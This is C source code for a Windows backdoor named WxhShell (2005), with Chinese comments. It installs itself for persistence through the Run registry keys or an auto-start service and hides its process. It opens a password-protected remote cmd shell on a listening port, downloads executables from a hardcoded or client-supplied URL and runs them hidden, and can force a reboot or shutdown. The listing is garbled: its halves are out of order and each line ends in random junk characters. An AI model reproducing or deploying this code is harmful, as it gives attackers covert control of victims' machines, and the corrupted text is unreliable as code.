    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]+lF=kkc %  
    else { \4@a  
    closesocket(wsh); 'RQiLUF  
    ExitThread(0); Loc8eToZ  
    } !=knppY  
    break; @SQceQfB  
    } R_9 o!s TZ  
  // 获取shell =SL^>HS.fo  
  case 's': { S| "TP\o  
    CmdShell(wsh); JilKZQmk  
    closesocket(wsh); R25-/6_V>  
    ExitThread(0); GDmv0V$6  
    break; ]gHLcr3  
  } w< mqe0  
  // 退出 r"[L0Cbb  
  case 'x': { fU` T\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /'"R Mq  
    CloseIt(wsh); n531rkK-   
    break; qu!<lW~c  
    } :W%4*-FP  
  // 离开 7H?! RYrx  
  case 'q': { _0*=u$~R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,L~snR'w  
    closesocket(wsh); >E~~7Yal  
    WSACleanup(); g6`.qyVfz'  
    exit(1); oo'iwq-\  
    break; |} 9GHjG  
        } VHj*aBHB  
  } kw;wlFU;  
  } +ruj  
v<`$bvv?  
  // 提示信息 Pd,!&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $4: ~* IQ  
} XC2Q*Z  
  } BMF3XcH~G  
',%5mF3j  
  return; b2W;|  
} J:[3;Z  
G*=H;Upi  
// shell模块句柄 4(;20(q]  
int CmdShell(SOCKET sock) CCy .  
{ wV?[3bEhM  
STARTUPINFO si; + f6}p  
ZeroMemory(&si,sizeof(si)); wb@]>MJ}[s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -/1d&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s?HsUD$b  
PROCESS_INFORMATION ProcessInfo; r@;$V_I  
char cmdline[]="cmd"; %va[jJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U <|B7t4M  
  return 0; "hfw9Qm  
} : qr} M  
@!Y.935/0  
// 自身启动模式 ?!rU |D  
int StartFromService(void) z[%[bs2{  
{ Mru~<:9  
typedef struct EyzY2>"^  
{ }&=uZ:  
  DWORD ExitStatus; sM<:C  
  DWORD PebBaseAddress; 5'),)  
  DWORD AffinityMask; W0+u)gDDz  
  DWORD BasePriority; +I?Qg  
  ULONG UniqueProcessId; E:%>0FE  
  ULONG InheritedFromUniqueProcessId; t<8z08  
}   PROCESS_BASIC_INFORMATION; YALyZ.d  
w:n(pLc<  
PROCNTQSIP NtQueryInformationProcess; Un~]Q?w  
z)r8?9u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \gjl^# ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y{`3`Pg&N  
^9n}-Cqeq  
  HANDLE             hProcess; wbo{JQ  
  PROCESS_BASIC_INFORMATION pbi; O#A8t<f|M  
0,+EV,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g521Wdtnn  
  if(NULL == hInst ) return 0; rE9Ta8j6  
.Ydr[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @<0h"i x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $HP/c Ku  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5^bh.uF  
<d3PDO@w/  
  if (!NtQueryInformationProcess) return 0; 4,o %e,z  
`e4o1 *  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZE{aS4c  
  if(!hProcess) return 0; JvT %R`i  
N;e}dwh&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /vMQF+  
jo]m1 2ps  
  CloseHandle(hProcess); PV5-^Y"v  
&II JKn|_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j0Id!o  
if(hProcess==NULL) return 0; S5zpUF=  
CD*f4I#d  
HMODULE hMod; f6@^ Mg  
char procName[255]; ]:[)KZ~  
unsigned long cbNeeded; ))8Emk^Q{  
)zo#1$C-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = E##},N"  
Vf@S8H  
  CloseHandle(hProcess); mYzsT Uq  
oUnq"]  
if(strstr(procName,"services")) return 1; // 以服务启动 -Y5YCY!`  
W9:fKP  
  return 0; // 注册表启动 $K5ni{M;  
} 7[(Lrx.pM  
i7Y s_8A"9  
// 主模块 BXagSenc  
int StartWxhshell(LPSTR lpCmdLine) <>ZBW9  
{ %g2/ o^c*  
  SOCKET wsl; GGYX!=]~  
BOOL val=TRUE; r3*+8 D~a_  
  int port=0; $w 5#2Za  
  struct sockaddr_in door; s|fCR  
jAD+:@  
  if(wscfg.ws_autoins) Install(); m9\@kA  
,<R>Hiwg/s  
port=atoi(lpCmdLine); WRN8#b  
WsG"x>1n  
if(port<=0) port=wscfg.ws_port; Fr938q6^-  
Uqb]e?@  
  WSADATA data; u&hDjE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S,ouj;B  
F(?Fz8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [,.[gWA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vu_7uSp,)  
  door.sin_family = AF_INET; My'9S2Y8nv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^K1~eb*K  
  door.sin_port = htons(port); : HQ8M*o  
C}dKbs^g|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _stI?fz*4k  
closesocket(wsl); G_4K+ -K  
return 1; 7UeE(=Hr5  
} ,n /SDEL  
-N /8Ho  
  if(listen(wsl,2) == INVALID_SOCKET) { }.fZy&_  
closesocket(wsl); <-Kb@V3  
return 1; D;1 6}D  
} ,)B~cic'u  
  Wxhshell(wsl); SXT@& @E  
  WSACleanup(); =rf )yp-D  
(Von;U  
return 0; W>aQ tT  
wsdB; 6%$  
} '7RR2f>V  
,6y-.m7>  
// 以NT服务方式启动 W07-JHV%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <=5,(a5g  
{ ;W$w=j: O{  
DWORD   status = 0; tS_xa  
  DWORD   specificError = 0xfffffff; bv:0EdVr  
|,M#8NOp:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T6/$pJl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !>a&`j2:W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  8o%<.]   
  serviceStatus.dwWin32ExitCode     = 0; df21t^0/  
  serviceStatus.dwServiceSpecificExitCode = 0; t ?Njw7  
  serviceStatus.dwCheckPoint       = 0; *Dd(+NI  
  serviceStatus.dwWaitHint       = 0; ]*kP>  
pUCEYR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k=ior  
  if (hServiceStatusHandle==0) return; X$j|/))  
MIk #60Ab  
status = GetLastError(); eE#81]'6a  
  if (status!=NO_ERROR) cAsSN.HFS  
{ S+Y y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rS,* s'G  
    serviceStatus.dwCheckPoint       = 0; (F4dFh  
    serviceStatus.dwWaitHint       = 0; wHo#%Y,Nmi  
    serviceStatus.dwWin32ExitCode     = status; vMW-gk  
    serviceStatus.dwServiceSpecificExitCode = specificError; flm,r<*}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M; S-ESQ  
    return; U&d-?PI  
  } ^=-*L 3f  
U:etcnb4w>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dZ;~b(CA  
  serviceStatus.dwCheckPoint       = 0; lyOrM7Gs  
  serviceStatus.dwWaitHint       = 0; y<'2BTf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bSeL"   
} n41\y:CAo  
{$u@6& B  
// 处理NT服务事件,比如:启动、停止 ya*q;D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) btB(n<G2#  
{ .H[Lo>  
switch(fdwControl) W~+!"^<n  
{ g[D,\  
case SERVICE_CONTROL_STOP: VQG  /g\  
  serviceStatus.dwWin32ExitCode = 0; '%eaK_+7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^}Dv$\;6  
  serviceStatus.dwCheckPoint   = 0; |+$j( YuH  
  serviceStatus.dwWaitHint     = 0; h!t2H6eyF  
  { p[k9C$@e}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {_k!!p6  
  } 7Da^Jv k  
  return; >FE QtD~F  
case SERVICE_CONTROL_PAUSE: n )wpxR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #IL~0t  
  break; )n3bi QL_  
case SERVICE_CONTROL_CONTINUE: o}AqNw60v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2!~>)N  
  break; ]>S$R&a  
case SERVICE_CONTROL_INTERROGATE: _+ R_ms  
  break; ek0;8Ds9  
}; 644hQW&W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AIRVvW~($  
} zvQ^f@lq2  
Sj]T{3mi  
// 标准应用程序主函数 D.oS8'   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R(7X}*@X  
{ !~$YD*" S  
3Oig/KZ  
// 获取操作系统版本 Yf2+@E  
OsIsNt=GetOsVer(); 7K5o" "  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )lngef /D_  
WSpg(\Cs  
  // 从命令行安装 (>Q9jNW  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'k(~XA}X:  
Q+%m+ /Zq  
  // 下载执行文件 aBA#\eV  
if(wscfg.ws_downexe) { GO:1 Z?^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J?,!1V=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5)SZd)  
} zf!\wY"`  
MkV*+LXC  
if(!OsIsNt) { GWkJ/EX  
// 如果时win9x,隐藏进程并且设置为注册表启动 o4I!VK(C#s  
HideProc(); fb=$<0Ocj  
StartWxhshell(lpCmdLine); 1o"oa<*_  
} XKPt[$ab  
else A](}"Pi!n  
  if(StartFromService()) p6eDd"Y  
  // 以服务方式启动 c402pj  
  StartServiceCtrlDispatcher(DispatchTable); oe_[h]Hgl  
else 5KPPZmO  
  // 普通方式启动 0.+Z;j  
  StartWxhshell(lpCmdLine); g9r5t';  
W0?Y%Da(4m  
return 0; O'sr[  
} d=5}^v#4  
WUOPYYW<o  
f6_|dvY3  
cwD*>[j  
=========================================== t%YX-@  
F+m4  
Xy8ie:D  
@v-)|8GdY  
Z?!:=x>7m  
z&yb_A:>  
" {pJ@I=q  
Y| N vBr  
#include <stdio.h> Z-sN4fr a  
#include <string.h> fM[fS?W  
#include <windows.h> kKk |@  
#include <winsock2.h> &u`rE""  
#include <winsvc.h> #?|1~HC  
#include <urlmon.h> @aPu}Hi  
2Q_{2(nQb  
#pragma comment (lib, "Ws2_32.lib") ws(}K+y_  
#pragma comment (lib, "urlmon.lib") +nyN+X34B  
][K8\  
#define MAX_USER   100 // 最大客户端连接数 &8YI)G%  
#define BUF_SOCK   200 // sock buffer ; dHOH\,:  
#define KEY_BUFF   255 // 输入 buffer VEYKrZA  
uB&I56  
#define REBOOT     0   // 重启 cS;=_%~  
#define SHUTDOWN   1   // 关机 BHBT=,sI  
lo;9sTUHT  
#define DEF_PORT   5000 // 监听端口 @f01xh=8  
nF y7gA|  
#define REG_LEN     16   // 注册表键长度 xbH!:R;  
#define SVC_LEN     80   // NT服务名长度 $8ww]}K  
E$yf2Q~k  
// 从dll定义API k49n9EX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )*<d1$aM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g8qAJ4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mbG^fy'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (a4y1k t-  
J3}C T  
// wxhshell配置信息 m_ONsZHy  
struct WSCFG { >U Ich  
  int ws_port;         // 监听端口 ~Wd8>a{w  
  char ws_passstr[REG_LEN]; // 口令 hD.wKX?oO  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?j$8Uy$$  
  char ws_regname[REG_LEN]; // 注册表键名 ump:dL5{  
  char ws_svcname[REG_LEN]; // 服务名 ?;7>`F6ld  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f7AJSHe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yW,#&>]# |  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gl{P LLe[}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +q?0A^C>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P##(V!YR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u2m{Yx|  
w I 7  
}; ,7nb;$]  
*E q7r>[  
// default Wxhshell configuration 3K] 0sr  
struct WSCFG wscfg={DEF_PORT, WD`{kqc  
    "xuhuanlingzhe", GM56xZ!2T  
    1, ~=gH7V  
    "Wxhshell", szs3x-g  
    "Wxhshell", #Lt+6sa]2@  
            "WxhShell Service", 00x^zu?N  
    "Wrsky Windows CmdShell Service", ^9~%=k=  
    "Please Input Your Password: ", @9P9U`ZP  
  1, )s[S.`S Tz  
  "http://www.wrsky.com/wxhshell.exe", H4",r5qw:  
  "Wxhshell.exe" 6#63D>OWp  
    }; 4U1fPyt  
4!W?z2ly~R  
// 消息定义模块 t-m,~IoW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &zDFf9w2{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }(I DPaJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BJ2W }R  
char *msg_ws_ext="\n\rExit."; oa|*-nw  
char *msg_ws_end="\n\rQuit."; exU=!3Ji  
char *msg_ws_boot="\n\rReboot..."; 8pt<)Rs}  
char *msg_ws_poff="\n\rShutdown..."; FQRcZpv;  
char *msg_ws_down="\n\rSave to "; 0s[3:bZ\Ia  
qCT\rZU  
char *msg_ws_err="\n\rErr!"; _( /lBf{|  
char *msg_ws_ok="\n\rOK!"; gxtbu$  
tdK^X1  
char ExeFile[MAX_PATH]; AsF`A"Cdw<  
int nUser = 0; 2G> ]W?>  
HANDLE handles[MAX_USER]; xJ5!` #=  
int OsIsNt; k(Xv&Zn  
4^9_E &Fa  
SERVICE_STATUS       serviceStatus; vy y\^nL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JNCtsfd  
w:(7fu=  
// 函数声明 ExU|EN-  
int Install(void); 8ngf(#_{_n  
int Uninstall(void); m*,[1oeG&  
int DownloadFile(char *sURL, SOCKET wsh); L uK m  
int Boot(int flag); UwT$IKR  
void HideProc(void); [`dipLkr  
int GetOsVer(void); YhR"_  
int Wxhshell(SOCKET wsl); .[ s82c]]6  
void TalkWithClient(void *cs); CUcjJ|MZ  
int CmdShell(SOCKET sock); mQuaO# I,  
int StartFromService(void); Qn&^.e9I  
int StartWxhshell(LPSTR lpCmdLine); z3LPR:&Z  
C^O^Jj5X%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K<(sqH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1<e%)? G  
>7Q7H#~w  
// 数据结构和表定义 %*}f<k{6  
SERVICE_TABLE_ENTRY DispatchTable[] = <7) 6*u  
{ Lxrn#Z eM  
{wscfg.ws_svcname, NTServiceMain}, 2 -8:qmP(  
{NULL, NULL} 8 z7,W3b  
}; P#oV ^  
{Oszq(A  
// 自我安装 >:|q J$J.  
int Install(void) nP5fh_/  
{ 1OS3Gv8jc~  
  char svExeFile[MAX_PATH]; POs~xaZ`H  
  HKEY key; %W@IB8]Vr  
  strcpy(svExeFile,ExeFile); nmrk-#._@9  
8iA(:Tb  
// 如果是win9x系统,修改注册表设为自启动 g+*[CKO{  
if(!OsIsNt) { YNk|UwJi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZM!~M>B9R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uMZf9XUE  
  RegCloseKey(key); W<l(C!{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { brot&S2P><  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T6#GlO)8)  
  RegCloseKey(key); 11+_OC2-   
  return 0; !7?wd^C'f  
    } L<`g}iw  
  } 9x,+G['Zt  
} )5x?Qn(B  
else { Fowh3go  
zf u78  
// 如果是NT以上系统,安装为系统服务 *?Y6qalSy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7^5BnF@  
if (schSCManager!=0) +06j+I  
{ lNAHn<ht  
  SC_HANDLE schService = CreateService WQ`T'k#ESW  
  ( i(rY'o2 BN  
  schSCManager, KR0 x[#.*  
  wscfg.ws_svcname, %Ski5q  
  wscfg.ws_svcdisp, i*j+<R@  
  SERVICE_ALL_ACCESS, < Ifnf 6~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b*fflJ  
  SERVICE_AUTO_START, " z{w^k  
  SERVICE_ERROR_NORMAL, _r'M^=yx[  
  svExeFile, N4-J !r@#~  
  NULL, ,iUx'U  
  NULL, 4pv :u:Z  
  NULL, #m>mYp8E.5  
  NULL, q5PYc.E([  
  NULL 3}Qh`+Yj]  
  ); 7 i/Cax  
  if (schService!=0) c @R6p+  
  { Fwqf4&/  
  CloseServiceHandle(schService); ~yN,FpD  
  CloseServiceHandle(schSCManager); @Iu-F4YT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :DJ@HY  
  strcat(svExeFile,wscfg.ws_svcname); =ndKG5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ak [)+_k_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @( l`_Wx  
  RegCloseKey(key); ?f&I"\y  
  return 0; (=9&"UH  
    } c2/HY8ttRD  
  } #J_i 5KmXJ  
  CloseServiceHandle(schSCManager); ^ EOjq  
} -&}E:zoe  
} OFv} jT  
Q2Rj0E`  
return 1; )/'s& D  
} ^cm^JyS)  
Y{=@^4|]  
// 自我卸载 v!Z9T  
int Uninstall(void) 2Fi*)\{  
{ ~l~g0J  
  HKEY key; ): 6d_g{2  
{,=,0NQKn  
if(!OsIsNt) { 605|*(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { stPCw$@  
  RegDeleteValue(key,wscfg.ws_regname); @AOiZOH  
  RegCloseKey(key); nCU4a1rZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L_,U*Jyo  
  RegDeleteValue(key,wscfg.ws_regname); jLSZ#H  
  RegCloseKey(key); 0J~4  
  return 0; ~@JC1+  
  } ,H*3_c&Q  
} #ZA YP  
} M %~kh"  
else { Hik[pVK@  
9&cZIP   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Z-`-IL  
if (schSCManager!=0) j$6}r  
{ {Y Ymt!Ic  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +zsya4r  
  if (schService!=0) $]FWpr%)  
  { bd4q/w4q  
  if(DeleteService(schService)!=0) { . +>}},  
  CloseServiceHandle(schService); x<(h9tB  
  CloseServiceHandle(schSCManager); JN_# [S$  
  return 0; *C\O] r:'  
  } }kpkHq"`f  
  CloseServiceHandle(schService); Lg1Usy%  
  } ,tZwXP{  
  CloseServiceHandle(schSCManager); )c/] 8KU  
} 4"sP= C  
} c'b,=SM  
~"k'T9QBY  
return 1; FWg7 e3  
} 9\F^\h{  
ry'(m M  
// 从指定url下载文件 KVuv%?  
int DownloadFile(char *sURL, SOCKET wsh) 0N xaQ`\  
{ w8qI7/  
  HRESULT hr; ,v"A}g0"  
char seps[]= "/"; :Lx]`dSk  
char *token; 4tI~d8?pk+  
char *file; K_i2%t3  
char myURL[MAX_PATH]; =R05H2hs  
char myFILE[MAX_PATH]; jKzj Tn9{E  
\1Zf Sc  
strcpy(myURL,sURL); qb Q> z+c  
  token=strtok(myURL,seps); )n.peZ  
  while(token!=NULL) Ero3A'f  
  { o#i {/# oF  
    file=token; =u(fP" |{  
  token=strtok(NULL,seps); Gkl#s7'  
  } Ot?rsr  
c\Dv3bF  
GetCurrentDirectory(MAX_PATH,myFILE); utr_fFu  
strcat(myFILE, "\\"); U^xFqJY6  
strcat(myFILE, file); XL:7$  
  send(wsh,myFILE,strlen(myFILE),0); * XJSa  
send(wsh,"...",3,0); i+;E uHf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]Uu/1TTf  
  if(hr==S_OK) DcOLK\  
return 0; hXCDlCO  
else D)Zv  
return 1; DCj!m<Y&  
!>Xx</iD1  
} L|<Mtw  
{'1,JwSmb  
// 系统电源模块 <6@Db$-  
int Boot(int flag) $Ix^Rm9c  
{ "P6MLf1  
  HANDLE hToken; <XNLeJdY  
  TOKEN_PRIVILEGES tkp; y.zW>Mfl  
{ }z7N~  
  if(OsIsNt) { @bZb#,n]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PJ'l:IU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B4kIcHA  
    tkp.PrivilegeCount = 1; O'k"6sBb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >_@J&vC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FW2} 9#R  
if(flag==REBOOT) { OHU(?TBo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B-RaAiE@  
  return 0; >(3 y(1;  
} -8]$a6`{_  
else { .FeEK(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u% FA.  
  return 0; DD1S]m  
} {0?76|  
  } 9I,Trk@&  
  else { V{][{5SR  
if(flag==REBOOT) { 'G&w[8mqY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K&/W cuP &  
  return 0; b{A#P?  
} Cd4G&(=  
else { B#=dz,}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rB4]TQ`c  
  return 0; G]{)yZ'}  
} $3So`8Bm[$  
} ^Kn}{m/3Y  
hQ9VcS6=gD  
return 1; +:b| I'S  
} r_QWt1K  
~sOAm  
// win9x进程隐藏模块 }q^CR(h (R  
void HideProc(void) |.YL 2\  
{ J( 0c#}d  
B9]KC i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i9d.Ls  
  if ( hKernel != NULL ) #soWX_>  
  { N)QW$iw9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &W1cc#(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r'&VH]m  
    FreeLibrary(hKernel); ;X8eZQ  
  } #jQITS7  
lyP<&<Y5  
return; RJ`F2b sYN  
} -0Ps. B  
'2eggX%  
// 获取操作系统版本 [l0>pHl@  
int GetOsVer(void) OmsNo0OA  
{ YtFtU;{  
  OSVERSIONINFO winfo; qTG/7tn "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \j4TDCs_[  
  GetVersionEx(&winfo); e7-U0rrE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OF}vY0oiw?  
  return 1; z&w@67 >j  
  else LKhUqW  
  return 0; BRzrtK  
} flRok?iF  
Gx!Y 4Q}-  
// 客户端句柄模块 f|u!?NGl  
int Wxhshell(SOCKET wsl) >mz<=n  
{ HZ/e^"cpM  
  SOCKET wsh; KrB"2e+J  
  struct sockaddr_in client; uZCPxog  
  DWORD myID; L+&$/1h]  
zpJQ7hym  
  while(nUser<MAX_USER) Zv-#v  
{ q.*k J/L  
  int nSize=sizeof(client); _G@)Bj^*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [:Sl^ Z&6M  
  if(wsh==INVALID_SOCKET) return 1; -GH>12YP  
:U=*@p4?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dW6sA65<Y  
if(handles[nUser]==0) @u?m4v{  
  closesocket(wsh); qeypa !  
else nPE{Gp) }  
  nUser++; T< D&%)  
  } K1Mn_)%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U 1vZ r{\  
b:2# 3;)  
  return 0; A|7%j0T  
} idEhxvAo  
/; w(1)B  
// 关闭 socket 13kl\ <6  
void CloseIt(SOCKET wsh) )m|)cLT&  
{ wZ0RI{)s'  
closesocket(wsh); X3@Uih}|  
nUser--; ;O+= 6>W  
ExitThread(0); nH_M#  
} qf;x~1efC4  
2)-Umq{]{  
// 客户端请求句柄 |cs]98FEf  
void TalkWithClient(void *cs) 9!; /+P  
{ @P@?KZ..v!  
G .NGS%v  
  SOCKET wsh=(SOCKET)cs; dSkMA  
  char pwd[SVC_LEN]; \I (g70  
  char cmd[KEY_BUFF]; ;X, A|m$(  
char chr[1]; 8MU+i%hd  
int i,j; I;FHjnn(  
EV/DJ$C }  
  while (nUser < MAX_USER) { )\Am:?RH;  
B 1je Ik,  
if(wscfg.ws_passstr) { -%,=%FBi~4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yw\Q>~$n[=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {OIB/  
  //ZeroMemory(pwd,KEY_BUFF); =bgWUu\F  
      i=0; kntYj}F(  
  while(i<SVC_LEN) { W[/Txc0$  
WUrE1%u  
  // 设置超时 t^ Ge "  
  fd_set FdRead; !Ah v07SI  
  struct timeval TimeOut; )Vd^#p  
  FD_ZERO(&FdRead); $t0o*i{  
  FD_SET(wsh,&FdRead); f\xmv|8  
  TimeOut.tv_sec=8; wDR/Vr"f  
  TimeOut.tv_usec=0; 5If.[j{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >e>%AMzo[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m~04I~8vk  
F/V -@SF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bI+/0X x  
  pwd=chr[0]; &n9&k Em  
  if(chr[0]==0xd || chr[0]==0xa) { ,Wv+Ek  
  pwd=0; ~[<C6{  
  break; #zRHYZc'T|  
  } fYSH]!  
  i++; [4w*<({*  
    } agt/;>q\~  
Hsn'"  
  // 如果是非法用户,关闭 socket C~Hhi-Xl)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zX lcu_rc  
} Fs"i fn0  
?zex]!R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >$,P )cB'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .dI".L  
#lR-?Uh  
while(1) { $Q"D>Qf{G  
'Fy"|M;2  
  ZeroMemory(cmd,KEY_BUFF); (\ge7sE-oo  
t0,=U8]w  
      // 自动支持客户端 telnet标准   AXF 1{  
  j=0; /%g+|C  
  while(j<KEY_BUFF) { bmu]zJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _o[fjd  
  cmd[j]=chr[0]; pT{is.RM  
  if(chr[0]==0xa || chr[0]==0xd) { :{+~i.*  
  cmd[j]=0; rGQ2 ve  
  break; Bv<aB(c  
  } [Do^EJ  
  j++; .' }jd#  
    } O uNPDq%  
?r 0rY?  
  // 下载文件 4%2APvLW  
  if(strstr(cmd,"http://")) { , # =TputM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s_  t/  
  if(DownloadFile(cmd,wsh)) C~egF=w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? X6M8`  
  else r0!')?#Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0vO(@I  
  } :s6aFiz  
  else { !B 4zU:d  
Fei5'  
    switch(cmd[0]) { $C.a@gm  
  Mgr?D  
  // 帮助 "\i H/  
  case '?': { U0t|i'Hx  
